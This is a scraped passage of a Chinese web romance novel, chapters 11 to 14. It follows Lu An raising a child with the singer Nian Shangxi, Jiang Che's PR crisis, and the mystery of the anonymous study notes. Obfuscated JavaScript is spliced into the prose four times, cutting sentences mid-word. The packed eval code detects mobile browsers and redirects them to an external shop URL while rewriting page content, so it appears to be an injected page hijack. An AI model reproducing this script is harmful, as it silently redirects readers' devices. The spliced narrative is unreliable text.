年上熙:【江澈看见你的鞋了,你最好处理一下。】 陆桉看到自己脚上这双鞋,脏还被刮了个破洞,太明显了。 他抱着陆阿蛋,直接去了上次买这个双鞋的店,幸好这双鞋还有同款,但却只有偏小码,正在犹豫时,陆桉手机上弹警报。 他愣了下,没再犹豫,小码也直接要了。 他用手反复弯折鞋头鞋腰,重点在脚趾上方,脚背位置折出自然的褶子,旧鞋装进袋子里,他穿着做旧的新鞋离开。 阳台上的冷风吹过来,吹来一片冷寂。 陆桉点开手机,整个家里的实时监控画面呈现在屏幕上,他捏了捏眉心。 如果不是为了阿蛋的安全,他也不会安上实时监控系统。却恰是因为实时监控,在江澈进门的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311221|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,手机提出了报警。 否则,这一关真的很难过。 他把旧板鞋扔进垃圾桶,新鞋也放进鞋柜的最里层。 陆桉松了一口气,但随之而来的是更深的疲惫、孤独感,欺骗江澈而产生的内疚。 餐桌上,陆阿蛋津津有味地吃着小锅米线,大口大口地炫,嘴里哼着歌小曲,食欲特别好。 陆桉看他一眼,遥控器打开电视机,调到动画片《宝宝巴士》。 阿蛋被吸引过去,意外道:“爸爸,你不是说吃饭的时候不能看电视吗?” 陆桉从米线里放在勺辣椒,“今天奖励你,可以看。” 阿蛋兴奋地看向电视,电视机里正在播放《宝宝巴士》儿歌《懂礼貌》。 小宝宝,懂礼貌 见到长辈问声好 说你好,说你好 到了分别挥挥手 说再见,说再见 做错事,对不起 帮了忙,谢谢你 陆阿蛋听着听着,放下了筷子,哼了一声,跑到自己房间去,关上了门。 陆桉没管他,继续吃饭,那也没有多少食欲,屋子里只剩下米线淡淡的酸香,和电视机里循环播放的儿歌。 陆桉收拾完碗筷,回到书房继续工作。 台灯一拧亮,整张长桌便浸在一片安静的白光里。摊开的图纸上,是2022年北京冬奥会场馆的初步方案。 2015年申奥成功的消息,当年他刚进入大学的校门,隔着屏幕都听得心潮澎湃。那时只敢远远仰望,可如今,项目就在眼前,竞标在即。 他只是想牢牢抓住这个项目。 这不是一份工作。是他给阿蛋的安全感,是他在这座偌大城市里,亲手砌出来的底气。 房门被轻轻推开一条缝。 陆阿蛋小小一只,抱着小狗音乐玩偶,磨磨蹭蹭地挪进来,小脑袋垂着,耳朵尖都红红的。 陆桉放下手里的书,抬眼看他。 “爸爸……我错了。”小孩声音小小的,蹭到床边,仰起脸看他,眼睛湿漉漉的。 “错哪儿了?” “刚才那个叔叔跟我说话,我不应该不理他,更不应该……说那样的话。” 陆阿蛋揪着玩偶的耳朵,小声补充,“我以后会懂礼貌的。” 陆桉心一软,伸手摸了摸他柔软的头发:“知错能改,就是好孩子。” 陆阿蛋眼睛立刻亮起来,像是早就等着这句话,飞快接话:“那爸爸,我能不能玩一会儿手机?” 陆桉眉梢微挑。 “我跟妈妈约好八点,要跟她视频,她还给我讲故事呢。” 话音刚落,手机屏幕猛地一亮,年上熙的视频通话。 陆阿蛋眼疾手快,小手一点,直接接通。 下一秒,年上熙的脸出现在屏幕里。陆桉只来得及看清她松松垮垮的睡衣、半湿的发梢,整个人还带着刚洗漱完的软意。 他心口猛地一紧,几乎是本能地飞快侧过身,彻底躲开摄像头,快得只在镜头里留下一道一闪而过的黑影。 年上熙刚要开口,注意力立刻被扑到手机前的小家伙勾走。 “妈妈,我好想你啊。” “我们才分开不到三个小时。” “可是,可是我还是很想妈妈呀。” 陆阿蛋黏黏糊糊的撒娇声,裹着年上熙温柔的笑,清清楚楚钻进耳朵里。 陆阿蛋渐行渐远,直到消失不见,但那声音像一根极细的线,轻轻一扯,他心底那层绷了一整晚的冷硬,就软了一角。 陆桉垂着眼,强迫自己把视线钉在图纸上,笔尖重重落在纸面,一笔一画,都在用力。 11. 第 11 章 不知过了多久,陆桉捏了捏眉心,放下笔。 他抬眼看向墙上的时钟,已经夜里九点多。阿蛋平时这个点,早就睡得沉沉的了。 他起身往卧室走去。 门没关严,留着一条缝。 陆桉推开门,就看见陆阿蛋蜷缩在床上,小狗玩偶抱在怀里,呼吸均匀,已经睡得很熟。 手机还被他压在枕边,屏幕微微亮着。 他放轻脚步走过去,给他盖了盖被踢翻的被子,又小心翼翼地伸手去抽手机。 指尖刚碰到边缘,目光无意间落在屏幕上。 陆桉整个人猛地一僵,手指悬在半空,连呼吸都下意识屏住。 视频还没挂。 屏幕里赫然出现年上熙的脸。 她也睡着了。 他就那么站着,一动不动,连呼吸都放得极轻,仿佛稍一重,就会把画面里的人惊醒。 视线一落在她安静的睡颜上,记忆就不受控制地往后翻。 也是这样的睡颜。 那年期末考,考场闷热,风扇吱呀转,窗外的蝉鸣更是此起彼伏。 他一抬头,就看见年上熙坐在他右前方,脑袋一点一点,困得不行,最后干脆趴在桌上,睡得毫无防备。 阳光从窗缝挤进来,落在她发顶,把发丝染成浅栗色。她侧着脸枕在胳膊上,睫毛软趴趴地覆着,嘴唇微微张着一点。 她眼底乌青,像是很久都没有睡一个完整的觉,他早上看见了微博推送,她是昨晚连夜飞机从米兰飞回来。 据粉丝说,她已经连续一周连轴转,没有好好休息了。 他那场考试,大半心思都没在卷子上。 这门考得是专业课,对他而言并不难,原本半个小时就能够答完的试卷,但这次拖到打铃才写完最后一道题。 每一次低头假装演算,视线就会往右前方飘。 她睡得那么沉,监考老师从前排走过去,脚步重一点,他心都跟着提一下。 怕她被抓住,又怕她被吵醒。 那一天,他像被晒了一下午的棉花。 后来成绩出来,她挂了科。 等补考的前两天,她回了学校。 他在走廊拐角,听见她跟孙颜小声抱怨,声音又急又委屈。 “我不想补考再挂科,可是我真的看不明白啊!” 苏颜劝她:“反正你以后要唱歌走演艺路,成绩无所谓啦。” 可她抿着嘴,明显不甘心。 陆桉回了宿舍,熬了通宵,把所有重点、例题、公式整理成笔记。 那天傍晚,他知道她固定在图书馆靠窗的位置自习。 他趁她起身去接水的间隙,把那本笔记放在她的课本上,又用一本书半掩住,不引人注目。 他看见,她意外发现笔记时的欣喜,直到后来,他在公告栏看见她补考通过的名字。 而她在考试顺利通过后,发微博感谢她意外见到了笔记,让她通过了考试,并希望笔记主人看到微博后,能够主动联系她,她当面感谢。 他看到那条微博时,手都是颤的,他攒了整整一天的勇气,甚至特意换上一件新买的白衬衫,打算在下午鼓足一切勇气去见她。 可他万万没有想到,他还没踏出宿舍门,一个月未归的江澈突然冲了进来,满脸兴奋,语气里全是藏不住的欢喜。 “陆哥,熙熙终于答应我了,我们在一起了!” 他迫不及待举着手机,凑到陆桉面前,屏幕上是两人并肩的合照。年上熙嘴角弯着,笑得分外灿烂。 只一眼,陆桉耳边骤然响起一阵尖锐的耳鸣,全世界的声音都瞬间退远。 “你什么时候有空?我们一起请你吃饭。” 江澈还在兴奋地说着,语气里全是感激。 “我们俩现在的身份不方便公开,但你是我亲兄弟,必须第一个告诉你。真的谢谢你一直鼓励我,让我坚持下去,不然被她拒绝那么多次,我早就放弃了。” 陆桉站在原地,指尖还僵在那件未换的白衬衫上,喉咙像被什么堵住,发不出一点声音。 许久,他才艰难地挤出一句,轻得几乎听不见,“你喜欢的人……是年上熙?” 江澈笑得毫无察觉,拍了拍他的肩,“对啊,是不是特漂亮,特带劲?” 一句话,砸得陆桉眼前阵阵发黑。 记忆猛地被拉回开学第一天。 宿舍里,江澈垂头丧气地趴在桌上,一脸挫败。 “陆哥,我好像一见钟情了,可那女孩太酷了,我故意偶遇她好几次,她压根没记住我。” 那时的陆桉淡淡劝了句,“真的喜欢,就别轻易放弃。” 后来江澈一次次抱怨,“太难追了,我坚持不下去了。陆哥,如果是你,你该怎么办?” 陆桉正在赶作业,随口一句,“可能……投其所好,慢慢来吧。” 于是江澈听了他的话,去报了音乐社团,学着弹吉他、写歌,一点点靠近喜欢音乐的年上熙。 整整一年。 这三百多个日夜,陆桉听着江澈诉说每一次心动、每一次失落、每一次靠近的欢喜。 他安静倾听,温和鼓励,像一个最合格的旁观者,陪着江澈,一点点走向他喜欢的女孩。 他直到现在才知道,自己亲手鼓励、亲手支招、亲手推着向前的人,追逐的,竟是他藏在心底、连表白都不敢的女孩。 他送了匿名笔记,等了一场回应,攒够勇气准备靠近。 而他最好的兄弟,却在这一刻,带着胜利的欢喜,告诉他。 我追到她了。 阳光透过窗户照进来,落在陆桉苍白的脸上。 他缓缓垂下眼,看着手里那件崭新的白衬衫,只觉得浑身冰凉。 所有的等待,所有的心意,所有快要出口的勇敢。 在这一刻,全都成了一个无人知晓、又荒诞至极的笑话。 陆桉从记忆中挣脱出来,重新望向年上熙的睡颜,只是一秒,他挂断了视频。 然后给陆阿蛋掖了掖被角,走出去,重新回到书房。 这晚书房的灯,一夜未熄。 陆桉给陆阿蛋安排好早餐后,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商务和片方那边已经开始隐晦问询,连带着还没官宣的合作,都岌岌可危。 团队立刻启动紧急公关。 先是江澈本人微博发出道歉声明,承认未报备擅自离组,态度诚恳,只含糊说是家中突发急事,事态紧急,来不及流程,向剧组与公众致歉。 随后,“知情人士”适时放出消息。江澈是回京探望突发重病的家人,一早到京,当天便立刻赶回剧组,全程不过几小时。 此言一出,路人同情瞬间拉满,粉丝更是心疼不已,舆论风向急转。 可偏偏,有不死心的营销号甩出一组照片。 拍到江澈的车,稳稳停在香山书院小区,配文阴阳怪气: 家中急事?怎么急到女朋友小区楼下了? 12. 第 12 章 网友:【江澈女朋友?姜小婉?】 一个昵称叫“给你点颜色瞧瞧”的网友爆料:姜小婉只是炒作,他有女朋友,这次回来就是前段时间与姜小婉炒作,女朋友生气跟他闹,这不是回来哄呢。 网友:【谁不知道是为了剧宣,女朋友这么不懂事?】 网友:【不看看人家住什么地方,那可是京北最豪华小区香山书院,家里没有点儿颜色背景,压根住不到这里来,人家是真公主啊!】 网友:【那江澈一个吃软饭的,公主生气抛下一剧组回来哄,也合理了。】 网友:【话说,都傍上真公主了,还跟剧组女明星炒,这是软饭硬吃?】 刚压下去的风波,瞬间又卷土重来,评论区里“吃软饭”“凤凰男”等字眼越刷越凶。 江澈盯着屏幕,指尖轻轻敲了敲。 他反手@那个带头带节奏的营销号,轻飘飘敲下一行字: “你怎么知道我回了趟家?” 一句话,瞬间引爆舆论。 很快,一堆营销号齐刷刷跟上节奏,齐刷刷刷屏。 【香山书院?北京顶豪圈层啊!原来江澈是深藏不露的真少爷!】 【家境好还这么拼!】 【难怪气质这么绝,原来是根正苗红的富二代!】 娱乐圈本就最吃富二代、低调贵公子这套人设。 #江澈香山书院# #江澈隐藏富二代# 瞬间冲上热搜。 之前的耍大牌、不敬业争议,被“有钱还努力”的滤镜彻底盖过,路人缘反而一路飙升。 没人再纠结他到底是探病还是找女朋友。 所有人都在磕他的少爷人设,夸他低调努力、家境优渥却不骄纵。 一场塌房级危机,硬生生被扭转成圈粉固粉、拉高逼格的教科书级公关。 接着#江澈请客全剧组#话题登上热搜,图片中导演制片人,以及主演们一起聚餐合照,氛围一片祥和。 这波危机算是彻底压下去,并且粉丝发现亮点,江澈与女主角姜小婉戴着同款耳饰,一个左耳,一个右耳。 #江澈姜小婉情侣耳饰#话题,迅速冲上热搜,之前两人合拍的手势舞也挖了出来,CP粉狂喜。 一套组合拳下来,江澈口碑逆转,新剧也未播先火。 晚上江澈下戏回到酒店,王姐气势汹汹地找了过来。 “江澈,你最近心思都放哪儿去了?我跟你说过多少次,你现在正是上升期,感情的事别太上头。” 江澈立刻乖巧地把准备好的礼物递过去,嘴甜得很:“王姐,您消消气,你之前提过的那款香水,我给你带来了。” 江澈顺从地点头,低声保证:“我以后会注意,绝不会再发生这样的事。” 接着话锋一转,“我的视频呢?” 王姐恨铁不成钢地看他一眼,摆弄手机,“发你了。” 江澈看了视频一遍,是以王姐为第一视角,剧组聚餐前在后场,给江澈与姜小婉发情侣耳饰的视频。 并像是绑架了一样的表情,说出重点:“情侣耳饰是现发的,都是假的。” 里面还有姜小婉无语的尾音,“江澈,你这不至于吧,你女朋友这么爱吃醋呢。” 江澈很满意,“谢了。” 接着把视频发给年上熙。 江澈:【自证清白,请宝宝检阅。】 王姐脸色难看,语气稍稍缓和,可说出的话依旧字字戳心:“她闹脾气,她吃醋,你就抛下整个剧组回去哄她?她自己也是圈内人,分不清什么是剧宣炒作吗?真要是为你好,就不会这么不懂事,拖你的后腿。” 江澈眉头微蹙,轻声解释:“不是她,是我自己主动要回去的。” 王姐加重语气,眼神锐利,“不管是不是,江澈,你的情绪已经完全被她牵着走了。再这样下去,早晚有一天,她会毁了你。” 话音落下,江澈脸上的温顺彻底褪去,神色骤然冷了下来。 他抬眼看向王姐,声音平静,却带着不容置喙的强势。 “王姐,她现在是我女朋友,将来,会是我的妻子。如果你想继续跟我合作,就请对她,放尊重一点。” 江澈摔门走了,到楼下吹了一圈冷风,坐在酒店门口给年上熙发消息。 江澈:【对不起熙熙,怕把你牵扯进来,我只能出此下策了。】 【宝宝,原谅我~】 江澈说的是认领香山书院少爷的事,但这很容易被扒出来,所以还需要年上熙那边帮他打掩护。 一个小时过去,年上熙消息没回。 江澈给苏颜发消息:【今天不是没有通告,熙熙呢?怎么消息没回?】 苏颜秒回:【进录歌室三小时啦,还没出来呢。】 后面跟着一个委屈巴巴的苦涩小猫表情包,还顺手附上了一张年上熙在录音棚里的侧拍。 江澈:【还顺利吗?】 苏颜:【状态倒是挺好的。】 【你也知道,熙熙对自己要求太高了,什么事都要做到最完美,眼里从来只有工作,根本顾不上别的。】 停顿几秒,她又发来一张自己的贴脸自拍,眼底乌青明显。 苏颜:【你看我的黑眼圈,都重成这样了,好几天没睡过一个安稳觉了,哭唧唧.jpg】 江澈直接甩过去一个蛋糕订单链接。 江澈:【还是香草味是吧,半个小时后到。】 苏颜立刻回了个撒娇卖萌的表情:【呜呜呜还是小澈弟弟最懂我~卖萌.jpg】 江澈:【熙熙是草莓味的,记得帮我带给她。】 苏颜:【好鸭,她平时都不吃甜食,反正最后都是进我肚子里。俏皮眨眼.jpg】 江澈没回这一句:【等她结束,让她立刻给我回消息。】 苏颜:【放心!】 江澈回到房间,先去冲了个热水澡。 刚擦着头发出来,电话铃声骤然响起,他快步走去,看清屏幕上的来电显示,嘴角的笑意一点点沉了下去。 “妈。” “香山书院那套房子,小熙是不是送给你了?”电话那头,江母的声音里藏不住喜悦。 “您想多了,只是对外的公关手段而已。” 江母的语气瞬间冷了下来:“你过了年就到法定婚龄了,一到年龄,立刻把婚结了。” 江澈微微蹙眉:“妈,我才大三,熙熙也刚毕业,没这么急。” 江母立刻听出了异样:“是小熙不愿意?” 江澈沉默了一瞬,声音放轻,“先让我们好好谈恋爱,结婚的事,过两年再说。” “过两年?”江母的声音陡然尖锐,“你等得起两年吗?等江原明年毕业回国,江家哪还有你的立足之地?” 江澈抿紧唇,一言不发。 江母顿了顿,暗示他,“她不想结,你就……想办法让她点头,女孩子心总是软的。” 江澈眉头紧蹙,下意识反驳:“妈,我是真心喜欢她。” “你喜欢她,跟和她结婚,不正合适?”江母的声音又硬了起来,带着不容置喙的力道,“反正不管你用什么办法,明年你必须把她娶进门。” 她又想起今日沸沸扬扬的热搜,语气更沉:“网上那些热搜,你赶紧处理干净。跟小熙解释清楚,别让她心生误会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311223|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。实在不行……你们干脆直接公开关系?” 江澈立刻出声制止,语气里带着几分警告:“妈,您要是不想我们俩就此分手,就别乱来。” “那你就给我做出行动来,别逼我到时候亲自出手。” 嘟—— 电话挂断了。 江澈站在落地窗前,握着手机的手垂了下来。 窗外城市的灯火明明灭灭,在他脸上投下斑驳的阴影。他望着玻璃上自己模糊的倒影,忽然觉得胸口堵得慌。 年上熙终于把歌录到满意,从录音室里出来,第一时间就伸手去拿手机。 彼时苏颜正在吃蛋糕,“香草味的,要吃点吗?” “你吃吧。”年上熙随口应着,指尖已经点开了屏幕。 几条未读消息,全是陆阿蛋发来的。 自从她给陆阿蛋买了那块儿童智能手表,两个小家伙就天天黏在网上热聊。 陆阿蛋不管吃到什么好吃的、玩到什么好玩的,第一时间都要拍给她看。 这天,他又拍过来一碗热气腾腾的菌子米饭。 小家伙还不会打字,一串奶声奶气的语音蹦了出来。 年上熙戴上耳机,嘴角先不自觉地软了。 “妈妈你吃饭饭了吗?” “看爸爸给我做的菌菌米饭,香,香迷糊了!” “我就只吃了一丢丢,爸爸就把我的碗碗收走了……还说我再吃,就要变成小胖子啦!” “哼,这个爸爸有点讨厌,我能不能换个爸爸呀?” 语音末尾,隐约传来陆桉无奈的声音:“陆阿蛋,你又在偷偷摸摸做什么,过来喝水。” 陆阿蛋的声音立刻压得小小的,用气音偷偷摸摸地说:“拜拜,妈妈,爸爸好凶啊!每天逼我喝水水,可我又不是水牛~” 软软糯糯、没头没尾,又满是小委屈的小奶音,可爱得人心尖都在发颤。 年上熙忍不住笑出声,一整天录音的疲惫,在这几句童言童语里,瞬间被抚平了。 她笑着往上滑了滑聊天框,这才看到江澈发来的消息。看完王姐出镜的那段视频,她整个人还是懵的。 等点开微博,顺着热搜一条条恶补完,才总算弄明白前因后果。 她心里大致能猜到,江澈是怕她误会他和姜小婉的关系,才特意让王姐出面录了这段自证视频。 可看着镜头里王姐那一脸明显的不耐烦,再听着姜小婉话里藏话的抱怨,年上熙心里还是堵得慌,一点点火气慢慢冒了上来。 年上熙深吸一口气,指尖在屏幕上顿了许久,才慢慢敲下一行字。 “视频我看了。我知道这是营销,也没有怪你。只是以后别再这样刻意麻烦别人录视频了,我没那么小气。” 她不是不感动。 江澈这么在意她的情绪,她是开心的。 可这份在意,又让她浑身别扭。 身在娱乐圈,那些套路与规则她比谁都清楚。 之前江澈为了她抛下剧组赶回来,王姐本就对她心存不满,如今又逼着人拍这种摆明了是安抚女友的视频,只会让所有人都觉得,她年上熙是个难搞、爱吃醋、一点小事就闹脾气的人。 她承认自己脾气不算好,可在工作这件事上,她一向拎得清。 江澈秒回:【我知道错了,你别生气,我下次一定不这样了。】 年上熙:【我没有生气,你为什么老觉得我会生气呢?】 江澈:【因为我总是惹宝宝生气。】 江澈撒娇卖萌,表情包轰炸,年上熙突然发愣。 在这段感情里,究竟是他太幼稚不成熟,还是她没有给足他安全感? 13. 第 13 章 跨年一过,清北就一头扎进了紧张的期末周。 年上熙比预想中还要忙。 一边要写歌、录歌、筹备演唱会,预知梦像一根无形的弦,让她不敢对任何环节掉以轻心,从舞台设计到曲目顺序,几乎事事都要亲自确认。 另一边,她竟意外收到了央视春晚的邀请。受宠若惊之余,只能挤时间一遍遍练习、赶场联排。 学业,就这样被挤在缝隙里。 她几乎抽不出空复习,可又打心底不想延毕。只能白天收工后,拖着一身疲惫回到家,熬夜赶方案、画设计图,常常一抬头,窗外已经蒙蒙亮。 或许是从小家庭环境的熏陶,她在建筑上确实有点天赋,只是不多。大一、大二的课程,她还能勉强应付,可到了大四,难度陡然上升,那些复杂的结构、理论、规范,她看着看着就想睡。 当初她瞒着家里偷偷艺考,报了京大音乐学院,满心以为能顺理成章走上音乐路。可就在志愿填报系统关闭的最后关头,被母亲悄无声息改了。 为了她的专业,家里破天荒地乱成一团。 父母离婚多年,一向和气体面,却因为这件事吵得面红耳赤。 母亲执意要她遵从曾祖母的遗愿,学建筑;父亲希望她先去当兵,考军官;继父劝她从政,走体制路线;继母则主张出国留学,学金融。 四个人各执一词,几乎要为她的未来大打出手。 可诡异的是,在反对她学音乐出道这件事上,四人却出奇地统一,像提前串通好一般,态度坚决,没有半点商量余地。 最后,还是母亲最“鸡贼”。截止前几分钟,她登录系统,直接改了志愿,一击定局。 那时的年上熙,没有能力反抗,只能乖乖去报到。 她一边读着不喜欢的专业,一边一次次偷偷报名音乐海选、参赛、突围,一路跌跌撞撞,终于拿到了出道的机会。 窗外寒风掠过树梢,台灯下的设计图还只画了一半。 她揉了揉发胀的太阳穴,望着眼前冰冷的线条,忽然有些恍惚。 就在这时,陆阿蛋的视频邀请突然跳了出来。 视频一接通,小团子刚洗完澡,乖乖趴在床上,闭着小眼睛奶声奶气地开口:“妈妈,今天我要听大灰狼与小红帽的故事。” “等妈妈一下下。”年上熙连忙放下笔,从书桌前起身跑回卧室,翻找出床头的故事绘本。 “妈妈你快看!”镜头突然晃了起来,陆阿蛋蹬着小拖鞋跑下床,举着手机对准另一个房间,“爸爸在给我搭儿童房,还有小滑梯~” 画面里,陆桉穿着宽松的家居睡衣,正蹲在地上认真铺着柔软的儿童地毯,手边散落着未组装完的滑梯零件,动作耐心又细致。 年上熙看着,下意识脱口而出:“他不复习的吗???” 后天就要期末考试了,他居然还有心思在这里组装儿童房。 不得不承认,在做爸爸这件事上,陆桉真的无可挑剔。 小阿蛋就是个小漏勺,什么事都一股脑跟她分享,她也渐渐发现陆桉有多靠谱与担当。 每天变着花样做不重样的营养餐,陪着玩闹、事事亲力亲为,而且每晚她和阿蛋的母子视频时间,他都会自觉避开,从不出现在镜头里,安安静静绝不打扰。 她悄悄庆幸,自己能遇上陆桉这样有责任感的合作伙伴,替她省去了数不清的麻烦。 之前她打给他的生活费银行卡,半个月只刷了一次,还是平摊房租,其余养孩子的开销,全是他自己在承担。 “复习好玩吗?”视频里,陆阿蛋歪着小脑袋,一脸天真地问。 年上熙一时语塞,随即反应过来。 也是,陆桉可是每次期末都稳坐专业第一的学霸,复习这件事,对他来说大概根本不算难事,自然不能和她这种勉强挣扎的人,相提并论。 下一秒,小团子的声音再次响起,带着点小大人似的嫌弃。 “妈妈,爸爸可笨了,我教他唱你的歌,他都学不会,还老是跑调。他是最差最差的学生,我都生气了!” 年上熙一愣,随即忍不住笑出声,心里那点因为学习和工作积压的郁闷,瞬间烟消云散。 原来是个音痴啊,脑子再好使的人,也有短板。 这么一想,她瞬间平衡了。 哄着阿蛋睡着后,陆桉给她发来消息。 陆桉:【明天下午你有时间吗?我有个会议需要到现场,你能不能过来照看一下阿蛋。】 年上熙刚要开始啃书,看到陆桉的信息,又看了眼苏颜发给她的行程表。 年上熙:【需要三点后才空出来。你那边可以吗?】 陆桉:【我三点半的会,会议现场跟你家方向相桉住的反,我赶过去可能来不及,你这次来我家行吗?】 年上熙没什么意见:【可以。】 第二天下午,年上熙结束工作后,拒绝苏颜的火锅邀请,回家洗澡换了套衣服,自己开车来到陆桉家。 陆桉住的这小区又破又小,逼仄得让人喘不过气。路灯昏昏暗暗,大半都坏了,墙皮斑驳脱落,楼道狭窄潮湿,连转身都费劲。 年上熙一进来就嫌弃得不行,她的阿蛋怎么能住在这种地方,她势必要跟陆桉好好谈谈,管他愿不愿意,这次必须听她的。 年上熙压着一肚子火气走到门口,抬头看见楼道里装着监控,家门也是厚实的防盗门,紧绷的嘴角才稍稍松了些。 门很快被陆桉打开。 她本想开门见山,刚吐出两个字:“陆桉——” 一个小炮弹就从屋里冲出来,牢牢抱住她的腿,仰着一张软乎乎的脸:“妈妈,你来啦!” 年上熙弯腰捏了捏他的脸。 陆阿蛋拽着她的手,把一双柔软又好看的拖鞋,推到她脚边,小声音奶乎乎的:“妈妈,你拖鞋,爸爸买的,我们挑了很久呢。” 款式简约耐看,正是她喜欢的风格,颜色也是她一贯爱的粉色。 她不自然地看了陆桉一眼,“挺好看的。” 陆桉有点尴尬,陆阿蛋的嘴太快了。 他轻点了下头,“你喜欢就好。” 来到客厅,目光顺势扫进屋里,整个人微微一怔。 和外面又破又旧的小区截然不同,屋里被收拾得干净又温馨,布局舒服,色调柔和,每一处细节都看得出用心。 儿童房也安装好了,整片都是陆阿蛋喜欢的绿色系。 墙边摆着小巧的室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311224|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内滑滑梯,旁边还有攀爬区。小木马、积木桌,各类玩具被分门别类收在卡通收纳柜里,整整齐齐。 所有棱角都包了软胶,地上铺着厚实防滑的爬行垫,每一处都透着为孩子精心考量的细致与稳妥。 她原本堵在胸口的不满,一下子就被熨得平平整整。 年上熙四处打量着,陆桉看她神色渐渐缓和,他也松了口气。 “我现在得先走了,冰箱里有吃的,你自己随意,就是陆阿蛋不爱喝水,你哄着他多喝点。” 年上熙点点头,语气已经没了刚才的火气,只剩几分自然的客气,“嗯,你去吧。” 陆桉交代了两句,便匆匆出门。 陆阿蛋很喜欢自己的玩具房,拉着年上熙陪他玩,看着小家伙自理能力强,做事井井有条,年上熙心里忍不住惊叹,不知道的,以为陆桉不是第一次当爹了呢。 这是在太强,太用心了。 如果两人的角度互换,她绝对做不到陆桉这样。 年上熙陪着陆阿蛋玩了会儿积木,又记起陆桉的嘱托,哄着阿蛋喝水。 阿蛋的小杯子十分可爱,杯身印着软乎乎的卡通图案,配色明亮柔和,杯盖还是立体的小造型,一看就讨小孩子喜欢。 她先凑过去试了试水温,不经意间轻尝了一口,水里竟带着淡淡的梨香,清甜不腻。 也难怪阿蛋咬着吸管,一边玩一边安安静静喝掉了一大杯。 年上熙觉得陆桉冤枉了陆阿蛋,他这不是挺爱喝水。 玩累了,阿蛋软软地窝在年上熙腿上,小眼皮耷拉下来,迷迷糊糊地喊:“妈妈,我想睡觉觉了。” 年上熙轻手轻脚把他抱回床上,大概是有妈妈在身边,阿蛋很快就睡得安稳。 她也困得眼皮打架,可一想到还有复习任务,只能咬牙艰难地爬起来。 只是客厅里没有合适的书桌,学习实在不方便。 她拿出手机,给陆桉发消息: 【阿蛋睡着了。】 【你的书房能用吗,我想复习一会儿。】 【不乱碰你东西。】 陆桉过了一会儿回复:【可以,你随意。】 年上熙走进陆桉的书房。 空间不算大,书柜和书桌却占了不少位置,书架上的书并不只局限于建筑专业,涉猎极广。 书桌上还整齐放着几本,4—6岁的幼儿育儿书,书页里有明显的折痕,不少地方还做了密密麻麻的笔记。 桌面一尘不染,物件摆放规整,一眼就能看出,陆桉是个极度干净、自律又有秩序的人。 年上熙不敢多打量,乖乖坐下复习。 可专业课要背的内容又多又杂,完全抓不住重点,她看得脑袋都快炸了。 她随手拿起桌上一本笔记本,准备勾画,刚翻开才发现,拿错了,这是陆桉的笔记本。 还是专业课笔记。 她抱着好奇随手翻了几页,瞬间愣住。 字迹工整清晰,重点标注得一目了然,逻辑框架清清楚楚。照着这份笔记复习,不仅能省下大半时间,准确率还高。 年上熙心里一动,想去问陆桉能不能借她看看……只是忽然,她觉得这字迹很熟悉,好像在哪见过? 14. 第 14 章 她怔怔地望着笔记本,字迹清隽挺拔,一笔一画都利落干净。 她眼前的书房渐渐模糊,取而代之的是多年前那个闷热的午后。 那时候她为了期末考试,刚从国外赶回来,连轴转了整整一周。 考场上天气燥热,她实在撑不住困意,歪头睡了过去,最后只能补考。 补考近在眼前,她却只能空出一天时间复习,压力几乎压得她喘不过气。 可就在图书馆复习时,桌角忽然多了一本笔记。字迹干净利落,重点梳理得清晰透彻,简直是救命稻草。 她靠着那本笔记突击,最后考中的知识点竟占了八成,顺利通过了那场差点让她崩盘的考试。 后来她发了微博,挂了很久,一心想找到笔记本的主人,直到江澈来找她。 她这才知道,是江澈连夜抄了同学的笔记,悄悄放在她桌上的。 那时候,他已经追了她一年多。不感动是假的,于是顺理成章地她接受了他的告白。 只是现在想来,江澈抄的,不会就是陆桉的笔记吧? 真的有这个可能。毕竟江澈比他们小一级,又不是建筑专业,那时候他和陆桉本就住同一个宿舍。 她从没想过,自己和陆桉的交集,竟然能追溯到那么早以前。更没想到,连江澈的字迹、排版习惯,都和陆桉这般相似。 可转念一想,陆桉曾经做过江澈的辅导老师,他潜移默化地跟着学了些习惯,倒也合情合理。 直到陆阿蛋起床过来扑到她身上,才发现自己竟然对着陆桉的笔记,不知不觉学了快三个小时。 但……如果再给她几个小时,她就能全复习完了。 